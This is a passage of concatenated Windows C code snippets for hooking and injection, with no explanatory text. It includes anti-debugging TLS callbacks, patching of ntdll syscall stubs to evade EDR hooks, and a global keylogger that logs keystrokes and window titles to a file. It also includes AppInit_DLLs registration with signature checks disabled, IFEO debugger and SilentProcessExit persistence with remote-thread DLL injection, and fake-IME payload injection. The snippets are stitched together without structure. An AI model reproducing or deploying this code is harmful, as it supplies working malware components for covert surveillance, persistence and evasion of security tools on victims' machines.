g_guardHook.targetFunction = target;
g_guardHook.hookFunction = hook;
g_guardHook.pageBase = (PVOID)((ULONG_PTR)target & ~0xFFF);
g_guardHook.active = TRUE;
AddVectoredExceptionHandler(1, GuardPageHandler);
DWORD oldProtect;
return VirtualProtect(g_guardHook.pageBase, PAGE_SIZE,
PAGE_EXECUTE_READ | PAGE_GUARD, &oldProtect);
}
#include <windows.h>
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved);
#ifdef _WIN64
#pragma comment(linker, "/INCLUDE:_tls_used")
#pragma const_seg(".CRT$XLB")
EXTERN_C const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma const_seg()
#else
#pragma comment(linker, "/INCLUDE:__tls_used")
#pragma data_seg(".CRT$XLB")
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallbackFunction;
#pragma data_seg()
#endif
typedef int (WINAPI* fnMessageBoxW)(HWND, LPCWSTR, LPCWSTR, UINT);
fnMessageBoxW RealMessageBoxW = NULL;
int WINAPI FakeMessageBoxW(HWND hWnd, LPCWSTR lpText, LPCWSTR lpCaption, UINT uType) {
return RealMessageBoxW(hWnd, L"HOOKED!", lpCaption, uType);
}
void NTAPI TlsCallbackFunction(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) {
HMODULE hUser32 = LoadLibraryW(L"user32.dll");
if (hUser32) {
RealMessageBoxW = (fnMessageBoxW)GetProcAddress(hUser32, "MessageBoxW");
InstallHookEarly();
}
}
}
void NTAPI AntiDebugTlsCallback(PVOID DllHandle, DWORD Reason, PVOID Reserved) {
if (Reason == DLL_PROCESS_ATTACH) {
BOOL debuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &debuggerPresent);
if (IsDebuggerPresent() || debuggerPresent) {
ExitProcess(0);
}
}
if (Reason == DLL_THREAD_ATTACH) {
SetThreadHwbp(GetCurrentThread(), 0, g_hookTarget);
}
}
#include <windows.h>
typedef struct _HOTPATCH_HOOK {
PVOID pTarget;
PVOID pDetour;
BYTE savedPreamble[7];
BOOL installed;
} HOTPATCH_HOOK;
BOOL IsHotpatchable(PVOID pFunction) {
BYTE* p = (BYTE*)pFunction;
if (p[0] != 0x8B || (p[1] != 0xFF && p[1] != 0xC9))
return FALSE;
for (int i = 1; i <= 5; i++) {
if (p[-i] != 0x90 && p[-i] != 0xCC)
return FALSE;
}
return TRUE;
}
BOOL InstallHotpatchHook(HOTPATCH_HOOK* hook) {
BYTE* pFunc = (BYTE*)hook->pTarget;
if (!IsHotpatchable(hook->pTarget))
return FALSE;
memcpy(hook->savedPreamble, pFunc - 5, 7);
DWORD oldProtect;
VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
pFunc[-5] = 0xE9;
*(int32_t*)(pFunc - 4) = (int32_t)((BYTE*)hook->pDetour - pFunc);
*(WORD*)pFunc = 0xF9EB;
VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
hook->installed = TRUE;
return TRUE;
}
BOOL RemoveHotpatchHook(HOTPATCH_HOOK* hook) {
if (!hook->installed) return FALSE;
BYTE* pFunc = (BYTE*)hook->pTarget;
DWORD oldProtect;
VirtualProtect(pFunc - 5, 7, PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pFunc - 5, hook->savedPreamble, 7);
VirtualProtect(pFunc - 5, 7, oldProtect, &oldProtect);
FlushInstructionCache(GetCurrentProcess(), pFunc - 5, 7);
hook->installed = FALSE;
return TRUE;
}
HOTPATCH_HOOK hpHook = {0};
hpHook.pTarget = GetProcAddress(GetModuleHandleA("kernel32.dll"), "CreateFileW");
hpHook.pDetour = MyHookedCreateFileW;
InstallHotpatchHook(&hpHook);
#include <windows.h>
#include <winternl.h>
typedef struct _PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION {
ULONG Version;
ULONG Reserved;
PVOID Callback;
} PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION;
typedef NTSTATUS(NTAPI* fnNtSetInformationProcess)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength
);
#define ProcessInstrumentationCallback 40
volatile LONG g_insideCallback = 0;
PVOID g_callbackTarget = NULL;
extern void InstrumentationCallbackEntry(void);
BYTE g_callbackShellcode[] = {
0x50,
0x51,
0x52,
0x53,
0x55,
0x56,
0x57,
0x41, 0x50,
0x41, 0x51,
0x41, 0x52,
0x41, 0x53,
0x41, 0x54,
0x41, 0x55,
0x41, 0x56,
0x41, 0x57,
0x9C,
0x48, 0x83, 0xEC, 0x28,
0x49, 0x89, 0xD1,
0x4C, 0x89, 0xD1,
0x48, 0x89, 0xC2,
0xFF, 0x15, 0x00, 0x00, 0x00, 0x00,
0x48, 0x83, 0xC4, 0x28,
0x9D,
0x41, 0x5F,
0x41, 0x5E,
0x41, 0x5D,
0x41, 0x5C,
0x41, 0x5B,
0x41, 0x5A,
0x41, 0x59,
0x41, 0x58,
0x5F,
0x5E,
0x5D,
0x5B,
0x5A,
0x59,
0x58,
0x41, 0xFF, 0xE2
};
void InstrumentationCallbackHandler(PVOID returnAddress, ULONG64 syscallReturnValue) {
}
BOOL InstallInstrumentationCallback() {
fnNtSetInformationProcess NtSetInformationProcess =
(fnNtSetInformationProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
if (!NtSetInformationProcess) return FALSE;
PVOID pCallback = VirtualAlloc(NULL, sizeof(g_callbackShellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pCallback, g_callbackShellcode, sizeof(g_callbackShellcode));
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
.Version = 0,
.Reserved = 0,
.Callback = pCallback
};
NTSTATUS status = NtSetInformationProcess(
GetCurrentProcess(),
ProcessInstrumentationCallback,
&info,
sizeof(info)
);
return NT_SUCCESS(status);
}
BOOL RemoveInstrumentationCallback() {
fnNtSetInformationProcess NtSetInformationProcess =
(fnNtSetInformationProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtSetInformationProcess");
PROCESS_INSTRUMENTATION_CALLBACK_INFORMATION info = {
.Version = 0,
.Reserved = 0,
.Callback = NULL
};
NTSTATUS status = NtSetInformationProcess(
GetCurrentProcess(),
ProcessInstrumentationCallback,
&info,
sizeof(info)
);
return NT_SUCCESS(status);
}
#include <windows.h>
BOOL PatchSsn(const char* funcName, DWORD newSsn) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
if (pStub[0] != 0x4C || pStub[1] != 0x8B || pStub[2] != 0xD1 || pStub[3] != 0xB8)
return FALSE;
DWORD oldProtect;
VirtualProtect(pStub + 4, 4, PAGE_EXECUTE_READWRITE, &oldProtect);
*(DWORD*)(pStub + 4) = newSsn;
VirtualProtect(pStub + 4, 4, oldProtect, &oldProtect);
return TRUE;
}
BOOL PatchSyscallToInt2e(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
for (int i = 0; i < 32; i++) {
if (pStub[i] == 0x0F && pStub[i+1] == 0x05) {
DWORD oldProtect;
VirtualProtect(pStub + i, 2, PAGE_EXECUTE_READWRITE, &oldProtect);
pStub[i] = 0xCD;
pStub[i+1] = 0x2E;
VirtualProtect(pStub + i, 2, oldProtect, &oldProtect);
return TRUE;
}
}
return FALSE;
}
BOOL PatchSyscallStub(const char* funcName, PVOID hookFunc) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pStub = (BYTE*)GetProcAddress(hNtdll, funcName);
if (!pStub) return FALSE;
DWORD oldProtect;
VirtualProtect(pStub, 14, PAGE_EXECUTE_READWRITE, &oldProtect);
pStub[0] = 0xFF;
pStub[1] = 0x25;
*(DWORD*)(pStub + 2) = 0;
*(UINT64*)(pStub + 6) = (UINT64)hookFunc;
VirtualProtect(pStub, 14, oldProtect, &oldProtect);
return TRUE;
}
HMODULE RemapCleanNtdll() {
HANDLE hFile = CreateFileW(L"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) return NULL;
HANDLE hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
PVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
CloseHandle(hMapping);
CloseHandle(hFile);
return (HMODULE)pClean;
}
DWORD GetCleanSsn(HMODULE hCleanNtdll, const char* funcName) {
BYTE* pFunc = (BYTE*)GetProcAddress(hCleanNtdll, funcName);
if (!pFunc) return -1;
if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
return *(DWORD*)(pFunc + 4);
}
return -1;
}
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "user32.lib")
typedef struct {
HHOOK hKeyboard;
HHOOK hMouse;
HHOOK hCbt;
FILE* logFile;
BOOL running;
} HOOK_ENGINE;
static HOOK_ENGINE g_engine = {0};
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
const char* action = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "DOWN" : "UP";
char keyName[64] = {0};
GetKeyNameTextA((LONG)(MapVirtualKeyA(kb->vkCode, MAPVK_VK_TO_VSC) << 16), keyName, sizeof(keyName));
DWORD pid = 0;
HWND fg = GetForegroundWindow();
GetWindowThreadProcessId(fg, &pid);
char windowTitle[256] = {0};
GetWindowTextA(fg, windowTitle, sizeof(windowTitle));
fprintf(g_engine.logFile, "[%s] VK=0x%02X Scan=0x%02X Key=%s PID=%lu Window=%s flags=0x%08X\n",
action, kb->vkCode, kb->scanCode, keyName, pid, windowTitle, kb->flags);
fflush(g_engine.logFile);
if (kb->flags & LLKHF_INJECTED) {
}
}
return CallNextHookEx(g_engine.hKeyboard, nCode, wParam, lParam);
}
LRESULT CALLBACK LowLevelMouseProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSLLHOOKSTRUCT* ms = (MSLLHOOKSTRUCT*)lParam;
const char* event = "UNKNOWN";
switch (wParam) {
case WM_LBUTTONDOWN: event = "LDOWN"; break;
case WM_LBUTTONUP: event = "LUP"; break;
case WM_RBUTTONDOWN: event = "RDOWN"; break;
case WM_RBUTTONUP: event = "RUP"; break;
case WM_MOUSEMOVE: return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
case WM_MOUSEWHEEL: event = "WHEEL"; break;
}
HWND target = WindowFromPoint(ms->pt);
char className[128] = {0};
GetClassNameA(target, className, sizeof(className));
fprintf(g_engine.logFile, "[MOUSE] %s (%d,%d) Target=%s flags=0x%08X\n",
event, ms->pt.x, ms->pt.y, className, ms->flags);
fflush(g_engine.logFile);
}
return CallNextHookEx(g_engine.hMouse, nCode, wParam, lParam);
}
LRESULT CALLBACK CbtProc(int nCode, WPARAM wParam, LPARAM lParam) {
switch (nCode) {
case HCBT_CREATEWND: {
CBT_CREATEWNDA* cbt = (CBT_CREATEWNDA*)lParam;
if (cbt->lpcs->lpszName) {
fprintf(g_engine.logFile, "[CBT] CREATE hwnd=%p class=%s title=%s\n",
(void*)(ULONG_PTR)wParam,
cbt->lpcs->lpszClass ? (const char*)cbt->lpcs->lpszClass : "?",
cbt->lpcs->lpszName ? cbt->lpcs->lpszName : "?");
}
break;
}
case HCBT_DESTROYWND:
fprintf(g_engine.logFile, "[CBT] DESTROY hwnd=%p\n", (void*)(ULONG_PTR)wParam);
break;
case HCBT_ACTIVATE:
fprintf(g_engine.logFile, "[CBT] ACTIVATE hwnd=%p\n", (void*)(ULONG_PTR)wParam);
break;
}
fflush(g_engine.logFile);
return CallNextHookEx(g_engine.hCbt, nCode, wParam, lParam);
}
BOOL InstallGlobalHooks() {
g_engine.logFile = fopen("C:\\hook_log.txt", "a");
if (!g_engine.logFile) return FALSE;
g_engine.hKeyboard = SetWindowsHookExA(WH_KEYBOARD_LL, LowLevelKeyboardProc, GetModuleHandleA(NULL), 0);
g_engine.hMouse = SetWindowsHookExA(WH_MOUSE_LL, LowLevelMouseProc, GetModuleHandleA(NULL), 0);
g_engine.hCbt = SetWindowsHookExA(WH_CBT, CbtProc, GetModuleHandleA(NULL), 0);
if (!g_engine.hKeyboard && !g_engine.hMouse && !g_engine.hCbt) {
fclose(g_engine.logFile);
return FALSE;
}
g_engine.running = TRUE;
return TRUE;
}
void UninstallGlobalHooks() {
if (g_engine.hKeyboard) { UnhookWindowsHookEx(g_engine.hKeyboard); g_engine.hKeyboard = NULL; }
if (g_engine.hMouse) { UnhookWindowsHookEx(g_engine.hMouse); g_engine.hMouse = NULL; }
if (g_engine.hCbt) { UnhookWindowsHookEx(g_engine.hCbt); g_engine.hCbt = NULL; }
if (g_engine.logFile) { fclose(g_engine.logFile); g_engine.logFile = NULL; }
g_engine.running = FALSE;
}
#ifdef BUILD_HOOK_DLL
#pragma data_seg(".shared")
HHOOK g_hHook = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.shared,RWS")
HINSTANCE g_hInst = NULL;
LRESULT CALLBACK GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
MSG* msg = (MSG*)lParam;
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}
__declspec(dllexport) BOOL StartHook() {
g_hHook = SetWindowsHookExA(WH_GETMESSAGE, GetMsgProc, g_hInst, 0);
return g_hHook != NULL;
}
__declspec(dllexport) void StopHook() {
if (g_hHook) { UnhookWindowsHookEx(g_hHook); g_hHook = NULL; }
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
if (reason == DLL_PROCESS_ATTACH) {
g_hInst = hModule;
DisableThreadLibraryCalls(hModule);
}
return TRUE;
}
#endif
int main() {
if (!InstallGlobalHooks()) {
printf("Failed to install hooks\n");
return 1;
}
printf("Global hooks installed. Press Ctrl+C to exit.\n");
MSG msg;
while (GetMessageA(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessageA(&msg);
}
UninstallGlobalHooks();
return 0;
}
#include <windows.h>
#include <stdio.h>
#include <shlwapi.h>
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#define APPINIT_KEY L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
#define APPINIT_KEY_WOW64 L"SOFTWARE\\WOW6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows"
typedef struct {
WCHAR dllPath[MAX_PATH];
BOOL is64bit;
BOOL requireSigned;
} APPINIT_CONFIG;
BOOL EnableAppInitDlls(const WCHAR* dllPath, BOOL enable) {
HKEY hKey;
LPCWSTR keyPath = APPINIT_KEY;
LONG ret = RegOpenKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, KEY_SET_VALUE | KEY_QUERY_VALUE, &hKey);
if (ret != ERROR_SUCCESS) return FALSE;
if (enable) {
DWORD loadFlag = 1;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
WCHAR existing[4096] = {0};
DWORD existingSize = sizeof(existing);
RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
if (wcsstr(existing, dllPath) == NULL) {
if (wcslen(existing) > 0) wcscat_s(existing, 4096, L" ");
wcscat_s(existing, 4096, dllPath);
}
RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
DWORD signFlag = 0;
RegSetValueExW(hKey, L"RequireSignedAppInit_DLLs", 0, REG_DWORD, (BYTE*)&signFlag, sizeof(DWORD));
} else {
WCHAR existing[4096] = {0};
DWORD existingSize = sizeof(existing);
RegQueryValueExW(hKey, L"AppInit_DLLs", NULL, NULL, (BYTE*)existing, &existingSize);
WCHAR* found = wcsstr(existing, dllPath);
if (found) {
size_t dllLen = wcslen(dllPath);
WCHAR* afterDll = found + dllLen;
if (*afterDll == L' ') afterDll++;
wmemmove(found, afterDll, wcslen(afterDll) + 1);
size_t len = wcslen(existing);
while (len > 0 && existing[len-1] == L' ') existing[--len] = L'\0';
}
RegSetValueExW(hKey, L"AppInit_DLLs", 0, REG_SZ, (BYTE*)existing, (DWORD)((wcslen(existing) + 1) * sizeof(WCHAR)));
if (wcslen(existing) == 0) {
DWORD loadFlag = 0;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
}
}
RegCloseKey(hKey);
return TRUE;
}
#ifdef BUILD_PAYLOAD_DLL
#include <tlhelp32.h>
static BOOL g_initialized = FALSE;
static CHAR g_targetProcess[MAX_PATH] = "target.exe";
void PayloadMain() {
char currentExe[MAX_PATH];
GetModuleFileNameA(NULL, currentExe, MAX_PATH);
char* exeName = strrchr(currentExe, '\\');
exeName = exeName ? exeName + 1 : currentExe;
if (_stricmp(exeName, g_targetProcess) != 0) return;
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID reserved) {
switch (reason) {
case DLL_PROCESS_ATTACH:
DisableThreadLibraryCalls(hModule);
if (!g_initialized) {
g_initialized = TRUE;
PayloadMain();
}
break;
}
return TRUE;
}
#endif
int wmain(int argc, WCHAR* argv[]) {
if (argc < 3) {
wprintf(L"Usage: appinit_installer.exe <install|uninstall> <dll_path>\n");
return 1;
}
BOOL install = (_wcsicmp(argv[1], L"install") == 0);
if (!PathFileExistsW(argv[2]) && install) {
wprintf(L"DLL not found: %s\n", argv[2]);
return 1;
}
if (EnableAppInitDlls(argv[2], install)) {
wprintf(L"%s successful: %s\n", install ? L"Install" : L"Uninstall", argv[2]);
BOOL isWow64 = FALSE;
IsWow64Process(GetCurrentProcess(), &isWow64);
if (!isWow64) {
HKEY hKey;
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, APPINIT_KEY_WOW64, 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
DWORD loadFlag = install ? 1 : 0;
RegSetValueExW(hKey, L"LoadAppInit_DLLs", 0, REG_DWORD, (BYTE*)&loadFlag, sizeof(DWORD));
RegCloseKey(hKey);
wprintf(L"WOW64 key also updated\n");
}
}
} else {
wprintf(L"Failed (need administrator privileges)\n");
return 1;
}
return 0;
}
#include <windows.h>
#include <stdio.h>
#pragma comment(lib, "advapi32.lib")
#define IFEO_BASE L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"
typedef enum {
IFEO_DEBUGGER,
IFEO_VERIFIER,
IFEO_GLOBALFLAG,
IFEO_MITIGATION,
IFEO_SILENT_EXIT
} IFEO_METHOD;
BOOL InstallIfeo(const WCHAR* targetExe, const WCHAR* payload, IFEO_METHOD method) {
WCHAR keyPath[512];
swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
HKEY hKey;
DWORD disposition;
LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
if (ret != ERROR_SUCCESS) return FALSE;
BOOL result = FALSE;
switch (method) {
case IFEO_DEBUGGER: {
result = (RegSetValueExW(hKey, L"Debugger", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_VERIFIER: {
DWORD globalFlag = 0x100;
RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD, (BYTE*)&globalFlag, sizeof(DWORD));
result = (RegSetValueExW(hKey, L"VerifierDlls", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_GLOBALFLAG: {
DWORD flags = 0x02000000 | 0x1000;
result = (RegSetValueExW(hKey, L"GlobalFlag", 0, REG_DWORD,
(BYTE*)&flags, sizeof(DWORD)) == ERROR_SUCCESS);
break;
}
case IFEO_MITIGATION: {
DWORD64 policy = 0;
policy |= (0x2ULL << 8);
policy |= (0x2ULL << 16);
WCHAR mitigation[128];
swprintf_s(mitigation, 128, L"%llu", policy);
result = (RegSetValueExW(hKey, L"MitigationOptions", 0, REG_SZ,
(BYTE*)mitigation, (DWORD)((wcslen(mitigation) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
break;
}
case IFEO_SILENT_EXIT: {
DWORD reportingMode = 1;
RegSetValueExW(hKey, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
result = (RegSetValueExW(hKey, L"MonitorProcess", 0, REG_SZ,
(BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR))) == ERROR_SUCCESS);
WCHAR silentKey[512];
swprintf_s(silentKey, 512, L"%s\\%s\\SilentProcessExit", IFEO_BASE, targetExe);
HKEY hSilent;
if (RegCreateKeyExW(HKEY_LOCAL_MACHINE, silentKey, 0, NULL, 0, KEY_SET_VALUE, NULL, &hSilent, NULL) == ERROR_SUCCESS) {
RegSetValueExW(hSilent, L"MonitorProcess", 0, REG_SZ, (BYTE*)payload, (DWORD)((wcslen(payload) + 1) * sizeof(WCHAR)));
RegSetValueExW(hSilent, L"ReportingMode", 0, REG_DWORD, (BYTE*)&reportingMode, sizeof(DWORD));
RegCloseKey(hSilent);
}
break;
}
}
RegCloseKey(hKey);
return result;
}
BOOL RemoveIfeo(const WCHAR* targetExe) {
WCHAR keyPath[512];
swprintf_s(keyPath, 512, L"%s\\%s", IFEO_BASE, targetExe);
return (RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath) == ERROR_SUCCESS);
}
#ifdef BUILD_DEBUGGER_PROXY
int wmain(int argc, WCHAR* argv[]) {
if (argc < 2) return 1;
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
if (CreateProcessW(argv[1], GetCommandLineW(), NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
WCHAR dllToInject[] = L"C:\\payload.dll";
SIZE_T dllPathSize = (wcslen(dllToInject) + 1) * sizeof(WCHAR);
LPVOID remoteBuf = VirtualAllocEx(pi.hProcess, NULL, dllPathSize, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteBuf, dllToInject, dllPathSize, NULL);
HMODULE hKernel32 = GetModuleHandleW(L"kernel32.dll");
LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, "LoadLibraryW");
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, pLoadLibrary, remoteBuf, 0, NULL);
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
VirtualFreeEx(pi.hProcess, remoteBuf, 0, MEM_RELEASE);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
return 0;
}
#endif
int wmain(int argc, WCHAR* argv[]) {
InstallIfeo(L"notepad.exe", L"C:\\debugger_proxy.exe", IFEO_DEBUGGER);
wprintf(L"IFEO installed for notepad.exe\n");
InstallIfeo(L"target.exe", L"payload.dll", IFEO_VERIFIER);
wprintf(L"Verifier DLL injection configured for target.exe\n");
return 0;
}
#include <windows.h>
#include <imm.h>
#include <stdio.h>
#pragma comment(lib, "imm32.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "user32.lib")
#define FAKE_IME_KEY L"E0200804"
#define FAKE_IME_NAME L"Fake Research IME"
BOOL RegisterFakeIme(const WCHAR* imeDllPath) {
WCHAR keyPath[256];
swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
HKEY hKey;
DWORD disposition;
LONG ret = RegCreateKeyExW(HKEY_LOCAL_MACHINE, keyPath, 0, NULL, 0, KEY_SET_VALUE, NULL, &hKey, &disposition);
if (ret != ERROR_SUCCESS) return FALSE;
WCHAR* dllName = wcsrchr(imeDllPath, L'\\');
dllName = dllName ? dllName + 1 : (WCHAR*)imeDllPath;
RegSetValueExW(hKey, L"Ime File", 0, REG_SZ, (BYTE*)dllName, (DWORD)((wcslen(dllName) + 1) * sizeof(WCHAR)));
RegSetValueExW(hKey, L"Layout Text", 0, REG_SZ, (BYTE*)FAKE_IME_NAME, sizeof(FAKE_IME_NAME));
WCHAR layoutFile[] = L"kbdus.dll";
RegSetValueExW(hKey, L"Layout File", 0, REG_SZ, (BYTE*)layoutFile, sizeof(layoutFile));
RegCloseKey(hKey);
WCHAR sysDir[MAX_PATH];
GetSystemDirectoryW(sysDir, MAX_PATH);
WCHAR destPath[MAX_PATH];
swprintf_s(destPath, MAX_PATH, L"%s\\%s", sysDir, dllName);
CopyFileW(imeDllPath, destPath, FALSE);
return TRUE;
}
BOOL ActivateFakeIme(DWORD targetTid) {
HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE);
if (!hkl) return FALSE;
if (targetTid != 0) {
PostThreadMessageW(targetTid, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
}
return TRUE;
}
BOOL InjectViaIme(DWORD targetPid) {
HWND hWnd = NULL;
DWORD tid = 0;
typedef struct { DWORD pid; HWND hwnd; } FIND_WND_DATA;
FIND_WND_DATA data = { targetPid, NULL };
EnumWindows([](HWND hwnd, LPARAM lp) -> BOOL {
FIND_WND_DATA* d = (FIND_WND_DATA*)lp;
DWORD pid;
GetWindowThreadProcessId(hwnd, &pid);
if (pid == d->pid && IsWindowVisible(hwnd)) {
d->hwnd = hwnd;
return FALSE;
}
return TRUE;
}, (LPARAM)&data);
if (!data.hwnd) return FALSE;
tid = GetWindowThreadProcessId(data.hwnd, NULL);
HKL hkl = LoadKeyboardLayoutW(FAKE_IME_KEY, KLF_ACTIVATE | KLF_REORDER);
if (!hkl) return FALSE;
PostMessageW(data.hwnd, WM_INPUTLANGCHANGEREQUEST, 0, (LPARAM)hkl);
return TRUE;
}
void UnregisterFakeIme() {
UnloadKeyboardLayout(LoadKeyboardLayoutW(FAKE_IME_KEY, 0));
WCHAR keyPath[256];
swprintf_s(keyPath, 256, L"SYSTEM\\CurrentControlSet\\Control\\Keyboard Layouts\\%s", FAKE_IME_KEY);
RegDeleteTreeW(HKEY_LOCAL_MACHINE, keyPath);
}
#ifdef BUILD_IME_DLL
static BOOL g_payloadExecuted = FALSE;
void ImePayload() {
if (g_payloadExecuted) return;
g_payloadExecuted = TRUE;
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
HANDLE hMap = CreateFileMappingA(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, 4096, "Global\\ImeHookShared");
if (hMap) {
char* pBuf = (char*)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, 4096);
if (pBuf) {
sprintf_s(pBuf, 4096, "Injected into PID: %lu EXE: %s", GetCurrentProcessId(), exePath);
UnmapViewOfFile(pBuf);
}
}
}
__declspec(dllexport) BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPWSTR lpszUIClass, LPCWSTR lpszOption) {
ImePayload();
lpIMEInfo->dwPrivateDataSize = 0;
lpIMEInfo->fdwProperty = IME_PROP_UNICODE | IME_PROP_AT_CARET;
lpIMEInfo->fdwConversionCaps = 0;
lpIMEInfo->fdwSentenceCaps = 0;
lpIMEInfo->fdwUICaps = 0;
lpIMEInfo->fdwSCSCaps = 0;
lpIMEInfo->fdwSelectCaps = 0;
wcscpy_s(lpszUIClass, 64, L"FakeIMEUI");
return TRUE;
}
__declspec(dllexport) BOOL WINAPI ImeConfigure(HKL hKL, HWND hWnd, DWORD dwMode, LPVOID lpData) { return FALSE; }
__declspec(dllexport) DWORD WINAPI ImeConversionList(HIMC hIMC, LPCWSTR lpSrc, LPCANDIDATELIST lpDst, DWORD dwBufLen, UINT uFlag) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeDestroy(UINT uForce) { return TRUE; }
__declspec(dllexport) LRESULT WINAPI ImeEscape(HIMC hIMC, UINT uSubFunc, LPVOID lpData) { return 0; }
__declspec(dllexport) BOOL WINAPI ImeProcessKey(HIMC hIMC, UINT uVirKey, LPARAM lParam, CONST LPBYTE lpbKeyState) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSelect(HIMC hIMC, BOOL fSelect) { return TRUE; }
__declspec(dllexport) BOOL WINAPI ImeSetActiveContext(HIMC hIMC, BOOL fFlag) { return TRUE; }
__declspec(dllexport) UINT WINAPI ImeToAsciiEx(UINT uVirKey, UINT uScanCode, CONST LPBYTE lpbKeyState, LPDWORD lpdwTransBuf, UINT fuState, HIMC hIMC) { return 0; }
__declspec(dllexport) BOOL WINAPI NotifyIME(HIMC hIMC, DWORD dwAction, DWORD dwIndex, DWORD dwValue) { return FALSE; }
__declspec(dllexport) BOOL WINAPI ImeSetCompositionString(HIMC hIMC, DWORD dwIndex, LPCVOID lpComp, DWORD dwCompLen, LPCVOID lpRead, DWORD dwReadLen) { return FALSE; }
